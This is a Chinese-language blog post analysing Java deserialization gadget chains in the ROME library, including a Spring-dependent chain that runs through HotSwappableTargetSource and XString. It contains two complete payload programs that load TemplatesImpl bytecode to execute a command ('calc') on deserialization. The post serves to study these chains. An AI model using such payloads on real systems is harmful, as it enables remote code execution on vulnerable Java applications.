Rome的Spring依赖下的反序列化利用链分析
f4nx1ng 发表于 北京 历史精选 1526浏览 · 2024-04-17 08:23

Rome的Spring依赖下的反序列化利用链分析

前言

这篇文章的起因是在学习Rome利用链的时候,看了很多的参考文章,但是很多的文章里面都没有对Rome的最后一条和Spring有关的利用链进行详细分析,因此本文就是针对于该利用链的及其相关链的分析并不会完全涉及到所有的rome链。由于各个rome利用链具备高度相关的特性,因此也会在前置的部分分析一条非spring下的利用链,这也是不得已之下的赘述。

环境

jdk8u201

pom文件

<dependencies>
        <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.21.0-GA</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.4</version>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

ROME简介

Rome是一个工具库,帮助处理和操作XML格式的数据。ROME库允许我们把XML数据转换成Java中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将Java对象转换成XML数据,这样我们就可以把数据保存成XML文件或者发送给其他系统。为什么这个库有如此大的危险性呢?这是因为ROME提供了ToStringBean这个类,该类中存在一个toString方法,该方法能够对Java Bean进行操作。

回顾之前

在反序列化利用的方式当中有一个经常使用的半段利用链——TemplateImpl利用链,该利用链可以支持我们加载字节码实现自定义化的攻击方式。该利用链的具体函数调用栈如下代码段所示,我们常有的一个思路就是用getOutputProperties()方法去出发整条利用链,这条利用链的关键在于需要找一个能够触发类当中getter方法的一个函数。

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance()/会进行初始化 -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

非Spring下的利用链

ToStringBean

在rome依赖包的诸多类下面有一个名为ToStringBean的类

在这个类当中有一个名为toString的方法,其代码如下所示,从下面给出的代码注释当中就可以理解,为什么说该方法能够对JavaBean对象进行操作了,他先获取了this._beanClass当中的所有getter方法,然后通过pReadMethod.invoke(this._obj, NO_PARAMS)在this.obj下调用了该方法。

private String toString(String prefix) {
        StringBuffer sb = new StringBuffer(128);

        try {
            //获取所有的getter
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
            if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        //调用getter方法
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }
        } catch (Exception var8) {
            sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
        }

        return sb.toString();
    }

从代码的执行逻辑上看如果想要顺利的调用TemplatesImpl#getOutputProperties()并触发后续的一系列操作,我们就需要按照逻辑设置this._beanClassthis._objthis._beanclass需要我们传入一个Class对象,this._obj就是我们要传入的实例化的Templateslmpl类对象,事实上ToStringBean类也是根据这两个字段进行实例化的:

public ToStringBean(Class beanClass, Object obj) {
        this._beanClass = beanClass;
        this._obj = obj;
    }

在了解了上述toString方法的执行逻辑,我们需要找到一个Class对象这个对象里面有一个与getOutputProperties()同名的getter方法。我们自然会直接想到直接使用TemplatesImpl.class,但是如果直接将beanclass设置为TemplatesImpl,那么调用全部getter方法的时候很可能会调用很多其他的无用getter方法,对反序列化链的执行造成影响。(实际操作之后甚至会导致反序列化利用失败)

于是我们找到了Templates接口,该接口的getter方法当中只有一个方法getOutputProperties。

入口方式其一,EqualsBean

我们如何打通这条链子后面有关字节码加载的部分已经完成了,关键点在于如何调用ToStringBean的toString方法,所以接下来的目标就是要找到哪一个类的readobject能够触发toString方法。在EqualsBean类当中其beanHashCode就调用了toString方法,这也是该类能够作为入口函数出现的主要原因。

从上图中我们可以看到,beanHashCode调用了toString方法,而hashCode方法又调用了beanHashCode,所以结合反序列化的老常客HashMap我们就能给出一条调用链,使用HashMap()作为入口点,最终调用任意类的hashCode方法

HashMap#readobject()->equalsbean#hash()->equalsbean#hashcode()->toStringbean#toString()->TemplatesImpl#getProperties()->....TemplatesImpl#defineclass()

最终写出如下的payload

public class RomeToStringBean {

    public static void setFieldValue(Object obj,String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }

    public static void main(String[] args) throws Exception{
        byte[] code = getTemplates();

        //装载Templates
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "Evil");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        //防止put触发payload
        ToStringBean toStringBean = new ToStringBean(Templates.class, new ConstantTransformer(1));
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");

        //改成真正的payload
        setFieldValue(toStringBean, "_obj", templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();
    }
}

Spring下的利用链

pom文件
<dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
分析过程

该利用链的分析方式与上述的利用链有所不同,上述利用连的分析方式是使用正向的方式进行分析的,可以通过分析知道payload构造的过程。在本条利用链的分析当中会采用反向分析的方式,从payload出发来分析利用链的执行流程。利用的payload如下所示

public class SpringRome1 {

    public static void setFieldValue(Object obj,String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        byte[] code = getTemplates();
        setFieldValue(templates,"_name","fanxing");
        setFieldValue(templates,"_bytecodes",new byte[][] {code});


        ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
        //        toStringBean.toString();

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));

        HashMap hashMap = new HashMap();
        hashMap.put(h1,"1");
        hashMap.put(h2,"1");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();
    }
}

开启调试之后,我们直接单步进入hashmap当中的readoject,然后readobject会调用putval方法。

按照hashmap正常的执行逻辑会来到如下的代码段当中,如果在构造payload的时候hashmap当中只put了一个对象,那么在第二个if当中会直接进去。原因由下面的第二张图当中的第一行注释所示,由于在取出第一个元素之前对应索引位置并没有Node,所以在处理第一对<key, value>的时候,会直接进入第二个if当中。

在第二次进入putval的时候,也就是处理第二个<key,value>对的时候,由于在payload构造的时候,两个<key,value>对当中的key都是同一种对象HotSwappableTargetSource,而他的hashCode返回的是一个固定值,这会导致hash值对应的索引相同,对应位置已经有了一个Node,发生了绕过,进而来到了第三个if当中。

在第三个if分支当中会调用该元素的equals方法,此时触发equals方法的是hashmap当中的第二个元素。第二个元素按照payload当中的构造,其是一个HotSwappableTargetSource(new XString("xxx"))对象,所以会触发HotSwappableTargetSource的equals方法,如下图所示:

对应变量是putval()函数当时调用的时候传进来的,可以直接通过调试下方的变量表来获知每一个变量的类型。但是这里为了分析流程还是要分析变量的数据流,我们需要回到putval函数当中,other变量是通过((k = p.key) == key || (key != null && key.equals(k))))中的k传进来的,而k=p.key,再往前追溯p = tab[i = (n - 1) & hash]。结合注释当中的说明,不难理解p.key是我们之前传进去的key(第一个<key, value>中的key),所以k=p.key=other=HotSwappableTargetSource(toStringBean)。所以在调用方法this.target.equals(((HotSwappableTargetSource)other).target)的时候实际上等效于this.target.equals(ToStringBean)

而此时的target的是XString对象,这里会调用它的equals方法,单步进入后如下图所示:

继续往下走就会调用obj2.toString,从变量表中我们看到obj2就是ToStringBean,也就是说这里会调用ToStringBean的toString方法。

但是我们观察到一个细节,这里仅调用了无参的toString()方法,但是真正利用的是有参的toString方法。于是单步进入后发现,这个无参的toString方法最终会调用有参的toString()方法。

后续的调用过程就完全承接之前ToStringBean的分析过程了,这里就不过多赘述

总结

这里我们做一个简单的总结:

1.这条链子的触发方式与别的链子不一样,该链子依托于hashmap的putval方法作为入口函数,不同于常用的hash()方法。

2.含有Xstring对象的HotSwappableTargetSource一定要第二个放,否则无法正常触发,因为XString对象的equals()方法里面能够调用toString方法。

参考

Java反序列化之ROME反序列化 - 先知社区

putval注释参考https://blog.csdn.net/weixin_50208718/article/details/132325994

0 条评论
某人
表情
可输入 255